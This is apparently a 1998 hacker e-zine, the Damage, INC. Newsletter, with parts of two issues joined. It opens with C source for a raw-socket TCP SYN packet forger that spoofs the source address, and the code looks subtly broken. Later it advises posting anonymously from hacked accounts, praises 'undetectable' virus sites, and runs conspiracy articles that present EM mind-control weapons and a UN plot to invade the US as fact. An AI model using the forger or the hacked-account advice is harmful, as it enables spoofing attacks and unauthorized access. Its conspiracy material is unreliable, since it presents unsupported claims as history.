3b + adcl $0, %%ebx +4: movl $0, %%eax + testw $2, %%dx + je 5f + lodsw + addl %%eax, %%ebx + adcl $0, %%ebx + movw $0, %%ax +5: test $1, %%edx + je 6f + lodsb + addl %%eax, %%ebx + adcl $0, %%ebx +6: movl %%ebx, %%eax + shrl $16, %%eax + addw %%ax, %%bx + adcw $0, %%bx + " + : "=b"(sum) + : "0"(sum), "c"(len), "S"(th) + : "ax", "bx", "cx", "dx", "si" ); + + /* We only want the bottom 16 bits, but we never cleared the top 16. */ + + return((~sum) & 0xffff); +} + +void resolve_address(struct sockaddr *addr, char *hostname, u_short port) { +struct sockaddr_in *address; +struct hostent *host; + +address = (struct sockaddr_in *)addr; +(void) bzero((char *)address, sizeof(struct sockaddr_in)); +address->sin_family = AF_INET; +address->sin_port = htons(port); +address->sin_addr.s_addr = inet_addr(hostname); +if ((int)address->sin_addr.s_addr == -1) { + host = gethostbyname(hostname); + if (host) { + bcopy( host->h_addr, (char *)&address->sin_addr, host->h_length); + } + else { + puts("Couldn't resolve address!!!"); + exit(-1); + } + } +} + +char *create_ip(u_long source, u_long dest, u_char protocol, u_char ttl, + u_short id, char *data, int data_len) +{ + char *ip_datagram; + struct iphdr *ip_header; + ip_datagram = malloc(sizeof(struct iphdr) + data_len); + ip_header = ip_datagram; + ip_header->version = 4; + ip_header->tos = 0; + ip_header->frag_off = 0; + ip_header->check = 0; + ip_header->saddr = source; + ip_header->daddr = dest; + ip_header->protocol = protocol; + ip_header->ttl = ttl; + ip_header->id = htons(id); + ip_header->ihl = 5; + ip_header->tot_len = htons(sizeof(struct iphdr) + data_len); + ip_header->check = htons(ip_cksum(ip_datagram,sizeof(struct iphdr))); + bcopy(data,ip_datagram+sizeof(struct iphdr),data_len); + return ip_datagram; +} + +char *create_tcp(u_long source, u_long dest, u_short sport, u_short dport, + u_long seqnum, u_long acknum, u_char flags, char *data, int datalen) +{ + char *wewt; + struct tcphdr *tcp_header; + wewt = malloc(sizeof(struct tcphdr) + datalen); + tcp_header = wewt; + tcp_header->th_sport = sport; + tcp_header->th_dport = dport; + tcp_header->th_seq = seqnum; + tcp_header->th_ack = acknum; + tcp_header->th_flags = flags; + tcp_header->th_sum = 0; + tcp_header->th_sum = htons(tcp_check(tcp_header, sizeof(struct tcphdr), + source, dest)); + bcopy(data,wewt+sizeof(struct tcphdr),datalen); + return wewt; +} + +void sendpack(char *fromhost, int fromport, char *tohost, int toport) { + char *packet; + char *tcppacket; + char *sendme; + static struct sockaddr_in local, remote; + static int sock = 0; + if (!sock) { + resolve_address((struct sockaddr *)&local, fromhost, fromport); + resolve_address((struct sockaddr *)&remote, tohost, toport); + sock = socket(AF_INET, SOCK_RAW, 255); + if (sock == -1) { perror("Getting raw socket"); exit(-1); } + } + tcppacket = create_tcp(&local.sin_addr, &remote.sin_addr, + local.sin_port, remote.sin_port, 795930600, 0, TH_SYN, + NULL, 0); + packet = create_ip(&local.sin_addr, &remote.sin_addr, + 6, 24, 4, NULL, 0); + sendme = (struct iphdr *)packet; + bcopy(tcppacket, sendme+sizeof(struct iphdr), sizeof(tcppacket)); + printf("the ip header is %d bytes long.\n", sizeof(struct iphdr)); + printf("the tcp header is %d bytes long.\n", sizeof(struct tcphdr)); + printf("the ip packet is %d bytes long.\n", sizeof(packet)); + printf("the tcp packet is %d bytes long.\n", sizeof(tcppacket)); + printf("the final packet is %d bytes long.\n", sizeof(sendme)); + { + int result; + + result = sendto(sock, packet, sizeof(packet), 0, + (struct sockaddr *)&remote, sizeof(remote)); + if (result != sizeof(packet)) { perror("sending packet"); } + } +} + +main(int argc, char **argv) { +if (argc!=5) { + printf("usage: %s \n", argv[0]); + exit(-1); +} + printf("forging packet from %s.%d to %s.%d\n", argv[1], atoi(argv[2]), + argv[3], atoi(argv[4])); + sendpack(argv[1], atoi(argv[2]), argv[3], atoi(argv[4])); +} +------------------------------------------------------------------------------- + + +THC PHREAK'S TOP TEN LIST - {TOP TEN} +Differences between Americans and Canadians: + + + 1. Canadians drink more beer. + + 2. Americans drink weak beer. + + 3. Canadian beer is stronger... and we like it that way. :) + + 4. True Canadians drink Molson Canadian. Americans don't have a brand of + beer named after them. That's the only thing we have that they don't. + We've sure got 'em there eh? :) + + 5. Canadian (B.C. grown) marijuana is the strongest. We like it that way. + Just ask our Olympic gold medal winning snowboarder, Ross. Or, ask + a few Americans that smuggle it across the border. :) + + 6. Americans have more guns, tanks, subs, ships, helicopters and nukes. + + 7. Canadians have more snowshoes, skates, snow boots and hockey sticks. + + 8. Americans are capatalists. They're patriotic and aren't afraid to let + you know it by waving their flag and singing their national anthem. + They're proud, bold, brazen, outspoken and flaunt being an American + wherever they travel. Damn Yankees. Hehe. :) + + 9. Canadians can't decide which flag to wave or fly. Each province has its + own flag. We're too humble, shy and reserved to show our patriotism. + The rest of us squabble with each other and threaten to separate from + Canada. We can't sing either. But we sure know how to party, eh? :) + + 10. Canadians snowmobile and ski in June. We like snow, ice and cold winter + days. We are a bilingual nation with two official languages (we can all + speak both English and French... almost fluently). On the extremely + rare occassions when the temperature is above twenty degrees outside, we + bitch and complain endlessly that it's too hot. Then someone inevitably + says "No, it's not the heat it's the humidity." Canadians burn easily + too. We're the very definition of rednecks (or lumberjacks). You can + always spot a Canadian in a crowd while they're on vacation in Florida + or Cuba. Our currency is worthless in other countries. But what can + you expect from dollars named "loonies" and two dollar coins called + "toonies" or "washers"? We talk about Hockey all year round. Nothing + else matters to us. To Americans, especially FOX Network Executives, + Hockey doesn't matter at all. + +In case you couldn't tell, the above was written as a joke. It's a parody, +so whether you're American or Canadian, don't take it too seriously or feel +insulted by anything that I've written. + +--- Written by THC Phreak. --- + + +THOUGHTS, POEMS AND CREATIVE WRITING - {WRITING} +Thoughts on Enlightenment: + +Sometimes genius manifests itself as madness. Our primitive instincts can +be cloaked by intelligence, but they still exist beneath the surface. Time +and space are intertwined and woven together like the threads of DNA in our +bodies. They are one with each other. Thoughts can travel faster than the +speed of light. Physical laws do not apply to everything. Physics only applies +to the physical. Open your mind. Reality isn't just what you've been told to +believe. It is what you are aware of, unaware of and what you think. Think of +what is possible instead of limiting yourself to dismissing the unexplained or +scientifically unproven. What is considered to be impossible at one point in +time during one era, is many times possible at another point. The impossible to +one person is someone else's possibile. Explore the possibilities. Examine the +truth and not just what you've been told. Mind over matter. A mind should be +powerful, not weak. It should be ever expanding, a source of energy and great +strength. To learn fact, don't just memorize...analyze. + +How can one "follow an experiment?" Experimentation should mean experimenting, +not following a scripted text with a list of instructions and guidelines. The +results shouldn't be known beforehand. One result can't be called incorrect and +another correct. Yet, you are taught in school that only one result is correct +and that if that result isn't achieved, then the entire experiment is a failure. +You are told that everyone should have the exact same results and that any +deviation is wrong. Why try to "experiment" if you already know what the +results will be? Don't attempt to achieve a specific, certain result. The +purpose of experimenting is to find out, not to get the result that you were +told will occur. The process of experimenting and learning are the most +important and they outweigh any results that are found. Contrary to what you +may have been told, there are no right and wrong answers. To experiment means +to learn. + +If you want to be the same, conform. If you want to be an individual, then be +creative. Voice your opinions. Express your beliefs. Show that you aren't +just another zombie. Share your uniqueness and ideas. Experience what true +individualism means. Use your mind to the fullest. There are no boundaries. +There aren't any restrictions on knowledge or thinking, except for the blinding +self-inflicted ones that you've made and forced upon yourself. Define yourself +by what you want to know, and not the knowledge that you already possess. You +are the only one to blame for what you lack. You are responsible for going +beyond what you think you know. Become self-taught. Become a free thinker. +Become enlightened. Knowledge isn't an illusion. Knowledge is something that +must be gained and possessed. It can't be fake. It has to be real. Wisdom, +experience and intellect cannot be faked either. Only fools believe that they +can be faked and hidden underneath lies. In the end, fakeness will haunt you. +It'll make certain that you don't evolve, progress and gain knowledge. +Discovering the true meaning of learning is one of the most fulfilling +achievements that you can make. Seeking out knowledge is such an honourable +pursuit that it should be your main goal. + +Written by Blackie Lawless ú Damage, INC. (C)opyright 1998. + + +CLOSING COMMENTS - {CLOSING} +BLACKENED's Motivational Closing Comments: + +Damage, INC. asks that you join us in searching out and destroying ignorance +and misinformation. We believe that many of our readers are intelligent, +enlightened people, and not zombies. I also hope that you didn't assume the +quote for this issue meant something else. If anything, it means to destroy +people's misconceptions, false assumptions, false information and accusations. +If you are against misinformation, then do something about it. If you think +that I'm a ranting and raving psychotic hypocrite that only preaches and +doesn't practice what I preach, think again. I am doing and will continue to +do whatever is necessary to fight for my beliefs. That includes fighting the +ignorant masses of zombies in any way possible. The Damage, INC. Newsletter +was created to fight ignorance and give out information. So, we *are* doing +something... and we'll keep going against the grain until the end. There are +many possibilities and we don't want to ignore or discount any of them. One +possible result is that a great awakening will happen and a revolution will +begin. In order for that to happen, we need more enlightened minds. In my +opinion, drastic change is needed. In desperate times, people are driven to +take desperate actions. + +Seek out knowledge and eliminate ignorance. The pursuit of knowledge as a +goal is so worthwhile that it cannot be overstated. Become active. Do +*something*. Take actions against the causes that you feel strongly about. +Become informed, develop your own beliefs, then learn what can be done. +Complacency and indifference aren't acceptable. "Society" wants you to be +misinformed about many things that they deem to be wrong. They don't want +you to know the truth. They've built a "society" that is based upon pure +ignorance. The bricks and the mortar that were used in its construction are +lies and propaganda. The opposite of construct is destruct. That is what +must be done. The whole fucking brick shithouse has to be demolished and +done in. That's the only real solution. It's already rotting and decaying. +The mass media is an instrument of "society" that is willfuly misinforming +the masses of zombies about things such as drugs, current events etc. When +they get caught lying or exploiting someone, they're quick to make a lame +apology to appease the zombies. In their own sick, twisted, perverted way they +believe that they are teaching their audience (viewers, readers, listeners) +morality and educating them. Nothing could be further from the truth though. +I believe that the whole "system" is ready to collapse... and when it does there +won't be any "society" left for zombies to cling to for security. I hope that +it is on the verge of happening. If it was only a matter of lighting a match to +ignite the powderkeg, I'd be there with a flamethrower. Unfortunately, a +greater catalyst is needed. Perhaps you think that I'm exaggerating or preying +on people's fears. Maybe that's true to a certain extent. Then again, maybe +that's just the reality that people aren't willing to face and I am simply +revealing it to everyone. Not everything is crystal clear. Therefore, you +might not be able to see and realize that "society" is demented and disease +infested. However, that is the way it is... like it or not. In my opinion, +people are either with "society" or against it. You can hide in the shadows or +you can draw a line in the sand and take a stand. It's your choice. + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +We're always looking for Writers, Members and Distribution Sites. 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Newsletter + + July 1998 Issue #10 + + "The root of everything." + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + C O N T E N T S : + + +þ INTRODUCTION - An Introduction to the Damage, INC. Newsletter. + +þ BIG BROTHER BASHING - Electromagnetic Mind Control Weapons Part 1. + ¯ Search String: {BIG BROTHER} + +þ BLACKENED'S TIP OF THE MONTH - Anonymous Remailers. + ¯ Search String: {BLACKENED} + +þ BREAKER'S REVIEWS - H/P and Security Web Site Reviews. + ¯ Search String: {REVIEWS} + +þ CONSPIRACIES AND COVERUPS - NWO Part 2: The UN/NWO connection. + ¯ Search String: {COVERUPS} + +þ CORRUPTION AND GREED - When billions aren't enough. + ¯ Search String: {GREED} + +þ CROSSED WIRES - A paid advertisement for CyberCrime International Network. + ¯ Search String: {WIRES} + +þ DRUGS DISCUSSION - Public Propaganda Service Announcements. + ¯ Search String: {DRUGS} + +þ H/P INFORMATION AND NEWS - Junction Boxes, FAKE CON '98, News. + ¯ Search String: {H/P} + +þ INTERVIEWS AND INTERROGATIONS - The Story of Midnight Sorrow. + ¯ Search String: {INTERVIEWS} + +þ LETTERS TO THE EDITOR - More feedback about the Damage, INC. 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We won't be held responsible for any damages caused, illegal acts +committed etc. by our readers. If/how you use the information given is entirely +up to you. + + +< COPYRIGHT NOTICE > + +All articles and source code contained within this file are (C) Copyright by +Damage, INC. (unless stated otherwise). No part of this work can be modified, +reproduced or changed in any way without the expressed written consent of +Damage, INC. That means, electronically or otherwise, in part or in whole +this file must not be altered. It cannot be included with any other releases. +You cannot claim that you wrote it, or alter any articles and source code that +has been written and Copyrighted by us. Also, do *not* distribute any +Damage, INC. releases in "packages" with other text files or utilities. They +must only be distributed alone in their present, original form. You are +permitted to read and distribute the Damage, INC. Newsletter freely to quality +h/p boards only. + + Copyright 1998 by Damage, INC. + All Rights Reserved. +_______________________________________________________________________________ + + +INTRODUCTION: The quote for this issue "The root of everything" conveys a + different message for each individual. That's precisely why + I chose it. The possible meanings are almost endless. Thus, + while you are reading this issue, consciously or subconsciously + you're forced into thinking about the chosen quote. I want you + to try to determine it's meaning, as it relates to the articles + contained within the pages of the Damage, INC. Newsletter. + Discovery is an important part of learning that shouldn't be + overlooked. It's what gives you the incentive to continue + exploring and trying to find out how things work. Therefore, we + believe that our readers should become more actively involved + in finding instead of just asking. Meaning, don't always ask + us how to do something, try to discover the answers on your own + by using whatever information was already given to you. + + In case you're still wondering, the quote isn't a reference to + rooting a system, the root of all evil or the root of all + problems etc. It's about the root of information, since + information is everything. Afterall, what can't be considered + information? It's literally everywhere and everything. + Furthermore, everything around you is based on information and + will be in the future as well. Again, what *isn't* information? + Technology is information. Books, Radio, Newspapers, Television, + speech, text files etc. are all sources and mediums of + information. The better the information is that you have, the + more educated and informed you'll become. Just be wary of + misinformation, as it also exists everywhere. Always consider + the source of the information that you find. It's critical that + you remember to do that first before forming opinions or making + any judgements. Sometimes information that's easily obtained + cannot be verified or is inaccurate. Again, information that you + just stumble upon or that's a gift from someone to you can't + always be trusted. So, be careful to analyze any information + that's been given to you instead of just immediately accepting + it as truth. + + If information is the root of everything, then what are we? + Well, we are responsible for using information. It's a tool. + It is not our master. Just as, technology isn't the master of + us...yet. It is up to humanity to use information and technology + to benefit us. You must learn how to use it to your own + advantage. Both can destroy your bodies and minds, or they can + enlighten and empower. That may sound laughable, but it's true. + Think about how you use information and technology in your daily + lives for a minute. Then think about how the governments, armed + forces and world leaders use both and you'll understand what I'm + saying. It's a double edged sword and it all depends on who's + holding the weapon. Whoever holds the sword in their hands has + the technology and information on how to use it. The difficult + part is knowing how to use it wisely. + + Information isn't free. It never has been and never will be + freely given to anyone that wants to have access to it. There + will always be people that will take measures to conceal the + information that they have, control it, and be stealthful about + using it so that it's not leaked or exposed. That's the way it + is. As for technology, it's guarded, bought, sold, exchanged + and traded by many countries but there's always a price to be + paid. That is how things work. Walls and fences are constructed + to keep us from knowing, keep us from having access to certain + technology, or to keep us out entirely. Basically, they (the + government, telco, other large corporations, military etc.) don't + want everyone to have access to the information and technology + that they possess. Yet, information is everything. I realize + that everyone can't have everything, but there will *always* be + people around that will try... regardless of the consequences. + + +BIG BROTHER BASHING - {BIG BROTHER} +Electromagnetic Mind Control Weapons Part 1: + +What are Electromagnetic weapons (EM weapons)? Can they be used for mind +control purposes? How do they work? When were they developed, and by who? +Have they ever been used against military personnel or civilians? + +EM Weapons and Microwave technology are very powerful weapons, which Big +Brother has and is willing to use against us as a means of control. I've +watched many Television programs (on TLC, NBC etc.) concerning the development +of EM weapons, read articles and books before writing this article. Due to +the research that I've done, I feel that I'm qualified to comment on the topic +and share what I have learned. This article won't be of an extremely technical +nature, since I don't want to bore everyone by including too many dates, names +of military projects and retired military personnel etc. However, I will +give basic information about "non-lethal" EM weapons, and what Big Brother is +planning to do with this technology. + +Research and Development (R&D) of Electromagnetic weapons began in the early +1940s according to the sources that I have available to me. Then after WWII +ended, known Nazi scientists were brought over to the United States to conduct +further experiments with EM Waves and other technology. In the same time +period, Japan was conducting its own experiments with EM waves. Their efforts +were directed towards the construction of a "death ray", capable of blinding +and killing human beings exposed to it from great distances. Depending on the +length of the waves created, and how they were tuned, they could shut down and +immobilize vehicles or cause damage to the organs (such as the brain and lungs) +of living creatures. Obviously, the R&D of such weapons didn't end during that +era. It has continued, and the technology is almost widely used now in the 90s. + +I've seen demonstrations of EM weapons and how they can disable helicopters, +planes, tanks, cars etc. Virtually any complex machine that contains computer +chips and equipment can be shut down almost instantly, just like turning off +a light using this technology. The most frightening aspect is that the human +body can be affected just as easily, including bodily functions and our mind. +Yes, EM waves *can* and have already been used for mind control purposes. + +Have you ever heard the term "behaviour modification" used before? Some of +the early experiments of that nature took place in Nazi concentration camps. +Nazi Doctors and scientists from Auschwitz and Dachau were recruited by the U.S. +after WWII ended, due to the research they'd conducted on prisoners. These +events are well documented in The United States' Project PAPERCLIP program. +From the reports that I've read, there were 34 Nazi doctors and scientists +in total that began working in San Antonio, Texas at Randolph Air Force Base. +Then in 1953 the CIA, U.S. Navy and U.S. Army Chemical Corps began conducting +their own programs on unwilling victims, including prisoners, mental patients, +foreigners, ethnic minorities and people that were classified as sexual +deviants. Most of the experiments were narco-hypnosis and involved chemicals +etc. Basically, they were still working on developing mind control techniques. + +Fast forward to the 1970s. The American public started to become aware of +the secret programs that were conducted by the U.S. military and CIA during +the previous two decades. The names of these projects were MKULTRA, MKDELTA, +MKNAOMI, MKSEARCH (MK is understood to stand for Mind Kontrol), BLUEBIRD, +ARTICHOKE and CHATTER. These programs were designed to develop methods of +citizen mind control and being able to program assassins (the main aim of the +CIA at that time). + +During the 1980s while Reagan was President, information wasn't as accessible +and wasn't readily available to anyone. Nothing changed during Bush's term +of office (1988-1992). The FOIA (Freedom of Information Act) was bogged down +by bureaucracy and it became costly to search for material that had been +de-classified. Much of the above material covering the MK programs etc. was +in fact reviewed and re-classified, which made it inaccessible once again to +the public. However, in 1989 CNN (Cable News Network) aired a program on +EM weapons and showed a U.S. government document that outlined a contingency +plan to use the weapons against "terrorists." During that same time period, +other stories about microwaves being used against the Palestinians for the +purpose of trying to condition them were being released by the media. + +In conclusion, EM weapons present a threat to us all. Their mind control +capabilities should definitely be viewed as dangerous, in the hands of any +country. That is, these weapons threaten our very freedom of thought. What +else carries more importance than that? I believe the focus should shift +from being on chemical and biological weapons... to ones that have the power +to do more than kill. Many weapons can kill, but EM weapons can control +minds, which in my opinion is far worse than death. They present a far greater +threat to us than other advanced weapons, since they have the ability to remove +our very humanity. They give Big Brother total control, which is what leads +me to believe that the future of free thinkers is grim. Once our minds are +assaulted and our thoughts are raped, then there will be no way to fight them. +EM Weapons Part 2, covering the 1990s will be included in the next issue. + +Written by BLACKENED ú Damage, INC. (C)opyright 1998. + + +BLACKENED'S TIP OF THE MONTH - {BLACKENED} +Anonymous Remailers. + +Many readers already know about the existence of Anonymous Email, Remailers +etc. However, I thought I'd write a short article concerning how to find +them, how to use them and how they work for those that don't know. + +Obviously, the main reason that someone uses an Anonymous Email service or +a Remailer is to protect their privacy. Each individual may have many +reasons for wanting to do so. For example, they might not want their message +to be published or distributed by other means by the receiver with their +name/alias/IP address etc. attached. They may just want to give someone +information and remain anonymous. There are several other important reasons +as well, some of which relate to legal issues in which the person doesn't +want to get busted for posting "illegal information". Therefore, it's done +anonymously to prevent that from happening. As I'm sure you can see, there +are many uses for them... and as long as they exist, they will be used. Plus, +anonymous remailers are free to use, which obviously adds to their popularity. +If you live in a corrupt country in which censorship is prevalent (such as +China for example), then I'm sure you wouldn't want them tracing Email back to +you which could be used as "evidence". It's another way to evade the prying +eyes of Big Brother. Just remember that Anonymity is your right, but never +assume that they're all completely 'safe' and 'secure'. Protecting your own +privacy, via using anonymous remailers or any other means is completely legal. +They aren't just for those that are involved in illegal activities. ;) + + +How to find anonymous remailers: +------------------------------- + +The first two sites contain a list of Anonymous Remailers. So, check those +out first. However, if you just want to post a single anonymous message, go +to www.anonymizer.com and send it from there. + +List of sites: + +www.publius.net/rlist.html - Anonymous Remailer list. +www.cs.berkeley.edu/~raph/remailer-list.html - Anonymous Remailer list. +www.nymserver.com - Anonymous Email etc. +www.anonymizer.com - Anonymous Email etc. +http://www.replay.com/aba/eternity/ - Eternity service. +http://moloko.insync.net/eternity/ - Eternity service. +http://eternity.internexus.net/ - Eternity service. +http://eternity.infinetways.net/ - Eternity service. +http://www.replay.com/mail2news/ - Anonymous Remailer. + + +How to use remailers and how they work: +-------------------------------------- + +Basically, anonymous remailers strip away the information that's contained +at the top of Email in the header. Meaning, your real name etc. isn't sent +to the intended receiver of your message. In that way, they protect your +privacy. Many anonymous remailers don't send for minutes, hours (or a day or +two with some)... and the time between sending is random. Therefore, it's more +difficult to trace when the actual message was posted and sent. Again, that +protects your privacy. It's to your own benefit since you don't want someone +else to be able to figure out who the sender was and what time the message was +sent. ;) + +As for how to use remailers, it's self-explanatory. If you can't figure out +how they can be used, then you should read the Anonymous Remailer FAQ first, +and perhaps the alt.privacy.anon-server newsgroup as well. + +I suggest that you read the Remailer FAQ, research any remailers and anonymous +Email services first, use PGP encryption and send messages through multiple +remailers if you want better security. That way, the first remailer doesn't +know what the destination of your message is. It's also more difficult for it +to be traced back to you if it's been sent through several different remailers. +Using a hacked account or posting from a public terminal that doesn't require +you to login is also a good idea. Then your real name won't be attached to +anything and no server will have that information. The most that could be found +out using that method is the IP address (for example, a University's IP name +and address). However, none of your real information will be attached using +that particular method. ;) + +Written by BLACKENED ú Damage, INC. (C)opyright 1998. + + +BREAKER'S REVIEWS - {REVIEWS} +H/P and Security Web Site Reviews: + +This is a list of Good H/P or security related web sites. I'll try to +check these and keep them updated and free of 404's. + +BlueBox Moon +bbm.dyn.ml.org +A great site that recently went back up. It has a habit of +disappearing. Anyway, the site is chocked full of technical telco +information. A must see resource for phreaks. + +PBXPhreak +www.sloth.org/~chris +One of the original k0de kids. This guy has dialed and scanned it all. +A #hack regular and confwhore. He has a few dead websites up all over +the Internet. I think the sloth.org page is his most recent. Keep +checking there for all your kode needs. + +The Hacker's Choice +merlin.koeln-net.com/~plasmoid/thc +One of Germany's best H/P groups. They have been around a long time, +anyone remember the L0re bbs? Check out the back issues of THC zines +and expect issue #5 soon. Also check out their H/P related programs. + +9x +www2.dope.org/9x +The group that wouldn't quit. 9x has gone under a 100% renovation. +They have new members and a new site. Check out their past zines and +useful 800 scans. They are also releasing new files. + +The Codebreakers +www.codebreakers.org +A great virus site. They have active members who are doing good work +with 95/98 infectors. The site is updated regularly with new +"undetectable" viruses, until someone forks one over to Dr. Soloman. +Check out their links to other good virus sites. + +Antionline +www.antionline.com +I'm sure everyone has heard about this site, but I decided to include it +just in case. A fairly good H/P site that has been much hyped by the +media. Updated regularly with breaking news on hacker attacks. JP the +owner, hangs on #hackphreak of the undernet. Stop in and he'll probably +be interviewing someone. Also has a hacked web site archive. + +Packet Storm Archive +www.genocide2600.com/~tattooman +Tattooman's crazy insane site. This is one of the best H/P sites on the +Internet at the moment. The site is updated daily with new source code +and programs. There is also a wwwboard were Tat will answer all of your +intelligent hacking questions. This guy is working overtime to keep on +top of computer security, lets hope he keeps it up. + +Junxion Box Brothers +www.jbb.net +Originally started by some 905 h/per's who wreaked havoc on Bell Canada. +The original members have moved on but the name lives on. An up and +coming H/P site with original files and a wwwboard. If you visit, tell +Shypht to put his board back up. :-) + +ITRAC +itrac.bourg.net +A good all around computer security site that has just re-opened. Check +out this site for daily updates on new vulnerabilities and holes. + +Slashdot +Slashdot.org +A great Linux site. There are Linux forums to discuss tons of topics. +This site is updated hourly with new Linux news and resources. + +That's all for this month.... + + +CONSPIRACIES AND COVERUPS - {COVERUPS} +NWO Part 2: The UN/NWO connection. + +In the last issue (Issue #9, "Search and Destroy.") of the Damage, INC. +Newsletter, I promised that I would reveal some serious United Nations +conspiracies, and how the UN is connected to the implementation the New World +Order. I will share some information I have collected on how the UN only cares +about world order. + +Peacekeepers? +------------- + +The perception that most people have about the United Nations is that they are +dedicated to creating world peace. They believe that delegates sit in global +cooperation and goodwill to form a utopia in which all humans are free and +prosperous. That is what the elite that control the United Nations want all of +the zombies to believe. + +The true mandate of the United Nations is obvious to those that think about +it. The United Nations is not interested in brokering peace in order to promote +prosperity. The United Nations is dedicated to maintaining the *world order*, +and the proliferation of a New World Order. + +Look at all the current activities where soldiers from various countries wear +the UN uniform. Is there real peace between the factions in Bosnia? Or +was world order forced upon them by the UN? Was a peace agreement being +negotiated for over 25 years on the island of Cyprus? No, of course not. Is +that keeping the peace as two warring factions start to heal the wounds of war? +Or is that cracking down on nations that threaten to disrupt world order? +The underlying reason for the conflict is never resolved. In my opinion, the UN +doesn't send peace keepers to places like Bosnia, etc. They send in NWO +keepers. + +Their primary objective isn't to end conflict and help both sides find a +peaceful settlement. It is to enforce the United Nations' world order. The +will of the United Nations is the will of those that want to bring about the New +World Order. Whether you believe what I am saying or not, will depend on how +you define peace and order. If you believe that only order can bring peace, +then you must be a believer in the NWO, and the elimination of individual rights +and freedoms it will bring. + +The UN helps communists destroy an anti-communist nation. +--------------------------------------------------------- + +The United Nations is considered, by many naive people, to be a great champion +of global democracy. This great misconception was formed because of "police +operations" like Korea, when they publicly spoke against communism. Why would +the United Nations go on a "holy" crusade against communism in Korea and later +in Vietnam, and yet assist the growth of the Soviet influence in other parts +of the world? To prove this statement, I will tell you about the former nation +of Katanga. + +In today's geographic landscape, Katanga no longer exists. It is now the +Province of Shaba, in African country of Zaire. In the early 1960s, Katanga was +a province in what was then known as the Belgian Congo. When Belgium's King +Baudouin formally gave the Belgian Congo independence on June 30, 1960, the +Soviets were ready to place their communist pawn into all key positions in the +new Congolese government. It is sickening that Soviets and Czech "diplomats" +were lurking around election booths. They made sure that their communist +candidate, Patrice Lumumba, gained power over the Congo. + +Approximately one week after the election, Lumumba enforced the will of his +communist masters. Men, women, and children were slaughtered. Newly obtained +freedom was destroyed, and a communist reign of terror took its place. The +province of Katanga fought back. Unwilling to be under the thumb of Communists, +President Moise Kapenda Tshombe announced that Katanga was "seceding from +chaos." Tshombe was known of as a voice against communism in the Congo at that +time. + +The Soviets were very quick to condemn Katanga's independence. To quote Nikita +Khrushchev, "[Tshombe is] a turncoat, a traitor to the interests of the +Congolese people." Under the direction of the UN, other nations including the +United States also condemned Tshombe, and the nation of Katanga. A backlash +against Katanga grew quickly within the UN, and on July 14, 1960 the U.S. allied +itself with the USSR by supporting a UN resolution to send UN troops into Congo. + +These UN "peacekeepers" weren't sent in to stop Lumumba from massacring the +innocent people in Congo, but to destroy the nation on Katanga by putting it +back under communist Congolese control. Thousands of soldiers, wearing UN +uniforms left for the Congo four days after the resolution passed. The conflict +between the nation of Katanga and the UN came to a head in December, 1961. +Soviet and U.S. bombers flew over Elisabethville, Katanga's capital. Their +first targets were the city's post office and radio station. It is obvious that +the UN wanted to blackout the media within Katanga. During this attack, planes +flying under the UN banner also bombed Katanga's hospitals, schools, and +churches. There is evidence that UN troops slaughtered women and children by +bayonet and machine gun fire. Belgians and other innocent foreigners also lost +their lives in this conflict. Unable to stand up to the Soviet and American +military under UN command, the nation of Katanga was overrun and reintegrated +into the communist-controlled Congo. Despite the testimonies by international +workers in Katanga at the time, the UN and other Illuminati-rooted organizations +proclaimed the entire Congo operation a "great success." They were successful +in eliminating a small, free African nation that, in their sick, globalist +minds, threatened to hinder their plans for that area. Do the actions I related +to you above sound like an organization that supports world democracy? Hmm... + +UN preparations to take over the United States of America. +---------------------------------------------------------- + +Last month, I said that there are plans that haven't even been unleashed upon us +yet, yet the groundwork was laid decades ago. I will elaborate now. In 1951, +American servicemen were transferred to Fort MacArthur, California. After basic +training, they became one of several "Military Government Reserve Units." On +July 31, 1951, all of the MGRUs took their training one step further. Nine +California cities: Compton, Culver City, Inglewood, Hawthorne, Huntington Park, +Long Beach, Redondo Beach, South Gate and Torrance were invaded and seized. The +once-American soldiers were wearing UN uniforms, and their vehicles were marked +with the UN flag. + +Newspapers showed pictures of the cities' mayors and police chiefs behind bars. +They were arrested by the UN invasion force. Many people in Huntington Park +witnessed "UN" soldiers lowering the American flag, and replacing it with the +flag of the United Nations. Everything was done "by the virtue of the authority +vested in [an officer] by the United Nations Security Council," according to +witnesses that were interviewed. + +A second mock invasion occurred on April 3, 1952 in Lampasas, Texas. Not only +did they duplicate the tactics and credos they used to seize the nine +Californian cities, but they took this operation even further. Churches were +shut down, schools were taken over, and armed UN guards were posted in all +classrooms. They also setup a "mock" concentration camp, and rounded up the +citizens in Lampasas. One reporter saw a teenager get knocked onto the ground. +When the teenager refused to get up, the former American soldier threatened to +remove his teeth with the butt end of his rifle. Mock trials were also held, +and all U.S. Constitutional rights were ignored and mocked by the UN forces. In +fact, lists of UN laws were posted all over Lampasas during the invasion. While +researching these mock invasions, I found one section of these "offenses": +"25. Publishing or circulating or having in his possession with intent to +publish or circulate, any printed or written matter... hostile, detrimental, or +disrespectful... to the Government of any other of the United Nations." How do +you like that? The American soldiers involved in this mock invasion have +blatantly broken their oaths that they swore to protect and uphold the United +States of America. Lampasas, Texas wasn't the final mock invasion carried +out by the MGRU. + +On August 20, 1952, Watertown, New York was invaded and seized. What happened +in the nine Californian cities and in Lampasas, Texas was also experienced by +the citizens of Watertown. It would not surprise me as they were herded into +the mock concentration camps that they were forced to watch the lowering of +their American flag, and the raising of the UN flag. + +These mock invasions were only a short few years after the formation of the +United Nations. They were already preparing to impose a New World Order, with +the United Nations being the foundation for the world government. Just because +these mock invasions took place in the early 1950s doesn't mean that they have +no relevance in 1998. Globalist groups like the CFR and the Trilateral +Commission have taken control of more military and political positions since the +early 1950s. + +Do you think it that these mock invasions are isolated exercises that occurred +in the 1950s? If you do, you are wrong. American cities are still the staging +areas for mock invasions. On May 4, 1997, the U.S. Army's Special Operations +Command (SOC) performed an urban training "exercise" in Charlotte, North +Carolina. Section of the cities were shut down by Charlotte police as the +"Military Operations in Urban Terrain" proceeded. + +The citizens of Charlotte had no forewarning as a dozen unmarked Black Hawk +helicopters scared the hell out of them. Many citizens flooded the 911 system, +as well as calling council members and the mayor at their homes, as the sounds +of gunfire and flash-bang grenades disturbed a peaceful night. 